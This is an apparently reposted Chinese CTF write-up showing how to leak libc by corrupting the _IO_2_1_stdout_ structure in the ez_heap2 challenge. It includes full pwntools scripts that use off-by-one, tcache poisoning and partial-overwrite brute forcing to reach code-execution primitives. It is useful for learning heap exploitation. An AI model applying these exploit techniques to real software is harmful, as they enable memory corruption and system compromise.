当前位置: 首页 > news >正文

修改_IO_2_1_stdout_的某些值来泄漏libc基地址

主要的原理可以去 https://blog.detectivelfy.top/2022/04/16/IO-FILE%E4%B9%8B%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/ 看我们只讲实操

✍内容 这里有两个方法 我们使用楚慧杯2024的ez_heap2作为例题

重要的代码审计


很清楚没有show函数


看的开了pie保护,所以我们在gift的时候可以选择是泄漏heap_base还是pie_base

根据elf文件里面的stdout符号地址来修改_IO_2_1_stdout

这个方法由于上面题目的情况,我们需要pie的基地址,如果没开pie的话就不需要但是堆题目嘛一般都是保护全开,ok泄漏pie基地址的话没什么好说的我们来说接下来怎么做

先找到elf中stdout的符号地址,当程序运行的时候是这样的关系stdout调用的时候我们链是stdout---->IO_2_1_stdout---->IO_2_1_stdout的内容,具体你可以看下图。


所以我们用teach 或者fastbins attack申请到 IO_2_1_stdout或者它的附近就能修改它结构体里面的值了

def dfun(): add(0,0x18) add(1,0x68) add(2,0x68) add(3,0x18) io.sendline('4') # 执行gift函数获得pie地址 io.sendlineafter(b'choose:\n','4') adder=int(io.recvuntil(b'\n',drop=True),16) pie=adder-0x202160 print("0x%x"%pie) stdout=pie+0x202020 #📥 获得stdout的地址 print("0x%x"%stdout) edit(0,b'a'*0x18+b'\xe1') #📥 off_by_one中 delete(2) delete(1) add(1,0xd8) #📥 修改还在teach的chunk2的fd为stdout并修复其size edit(1,b'\x00'*0x68+p64(0x71)+p64(stdout)) add(2,0x68) # 申请原理chunk2 add(4,0x68) # 申请user adder为stdout的chunk add(5,0x68) # 申请到_IO_2_1_stdout的地址 edit(5,p64(0xfbad1800) + p64(0)*3 + b'\x00') # 修改flags_为0xfbad1800 _IO_write_base为'\x00' io.recvuntil(b'\x00'*8) libc_adder=u64(io.recv(6).ljust(8,b'\x00')) print("0x%x"%libc_adder) # libc_adder=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) # 一般用这个好好看一下 # print("0x%x"%libc_adder) libc_base=libc_adder-0x3ed8b0 systeam_adder=libc_base+libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) io.interactive()


libc,heap偏移是用gdb自己找的

但是注意了这样的话teach或者fastbins这个大小的链就用不了了

直接修改难点在爆破上但是利用的条件较上一个少一些

这个唯一不一样的是我们不用stdout了我们直接在_IO_2_1_stdout那寻找合数的位置伪造chunk那问题是

<<我们怎么写到哪个地方呢 >>

,很巧的是

<<unsorted bins的fd,bk指针和_IO_2_1_stdout那块的地址只有两个字节不一样>>,而LFSAR的随机化机制然地址最后三位不变,那么我们可以用gdb找着三位,剩下半个字节直接爆破就行了

我们只用申请到这个伪造chunk的地址就行,就是把最后两位改成c71d然后爆破就行了,再修改成特顶的值就好了

add(0,0x18) add(1,0x408) #📥 严肃申请unsorted bins add(2,0x68) add(3,0x68) menu(4) io.sendlineafter(b'choose:',b'1') io.recvuntil(b'\n') heap_adder=int(io.recvuntil(b'1.add',drop=True),16) print("heap_adder : 0x%x"%heap_adder) heap_base=heap_adder- 0x770 print("heap_base : 0x%x"%heap_base) /////////////////////////////////////////////////开始攻击/////////////////////////////////////////////////////////////// edit(0,b'a'*0x18+b'\xf1') delete(2) delete(3) delete(1) add(1,0x408) add(5,0xc8) edit(5,b'\x2d\xc7') #📥 修改fd中,因为teach的fd指向user直接写你想改的地址就好了,不用加0x10 edit(1,b'a'*0x408+b'\x71') # 大小改回来 add(2,0x68) add(3,0x68) #gdb.attach(io) add(6,0x68) # 申请到 #gdb.attach(io) edit(6,b'\x00' * (0x33) +p64( 0xfbad1800 )+p64( 0 )* 3+ b'\x00') #📥 开始修改 #gdb.attach(io) io.recvuntil(b'\x00'*8) libc_adder=u64(io.recv(6).ljust(8,b'\x00')) print("0x%x"%libc_adder) libc_base=libc_adder-0x3ed8b0 print("libc_base : 0x%x"%libc_base) libc.address=libc_base

成功

http://www.jsqmd.com/news/773043/

相关文章:

  • D2DX:让经典《暗黑破坏神2》在现代PC上焕然一新的完整解决方案
  • LeetCode HOT100 - 不同的二叉搜索树
  • 维普AIGC检测算法连续句式识别原理:哪3款工具针对性应对? - 我要发一区
  • 万方AIGC检测术语堆叠识别原理:哪款工具能精准化解? - 我要发一区
  • 【AISMM模型效能验证报告】:对比17家Pre-A轮公司,采用该模型的团队产品上线周期缩短41%
  • 别再手动算字模了!用FPGA驱动16*16点阵,从取模软件到ROM存储的保姆级避坑指南
  • GitMCP:基于MCP协议为AI编程助手注入实时GitHub文档能力
  • 2026年选购指南:塑料生产企业选吹塑机厂家核心要点 - 速递信息
  • FastAPI 中间件
  • 实战指南:如何用特斯拉Model 3/Y的DBC文件构建智能车辆监控系统
  • AI Agent 入门课:RAG 不是检索外挂,而是 Agent 的知识闭环
  • 赵明能享受到千里科技的推背感吗?
  • 为什么 docker build 成功但 docker-compose build 失败?
  • 别再手动查了!教你用Python写个脚本,批量查询商品条码并自动保存信息到Excel
  • 3分钟掌握鸣潮120FPS解锁:WaveTools工具箱终极使用指南
  • 自建代理池实战:从零搭建高可用IP代理服务应对反爬策略
  • 2026年吹塑机厂家选购全解析:从选型困惑到解决方案 - 速递信息
  • 眨眼猫会务智能体:3位数报名签到查座会务小程序,到底能赚钱吗?
  • 从“零散台账”到“一屏掌控”:绿虫光伏全流程管理软件打通项目全链路
  • 天龙八部GM工具完整指南:3分钟掌握游戏数据管理的终极技巧
  • 告别Intent跳转!用ARouter重构你的Android模块化项目(附完整Gradle配置)
  • AISMM模型核心指标全拆解,从L1到L5逐级验证,你的企业卡在哪一级?
  • AISMM模型实战手册:3个月实现IT服务管理能力跃升,中小企CIO都在偷偷用的方法
  • 汽车MCU开发避坑:TLF35584看门狗喂不活?手把手教你SPI喂狗的正确姿势(附MPC5744代码)
  • 矢量网络分析仪原理
  • 打卡信奥刷题(3224)用C++实现信奥题 P8320 『JROI-4』Sunset
  • FastAPI CORS 跨域
  • 3DS FBI Link终极指南:Mac上最便捷的3DS文件传输工具
  • 从Windows 11到Nano Server:一张图看懂.NET 6与.NET 7的跨平台支持矩阵
  • 别再乱用 String 了!底层原理、常量池、拼接陷阱全解析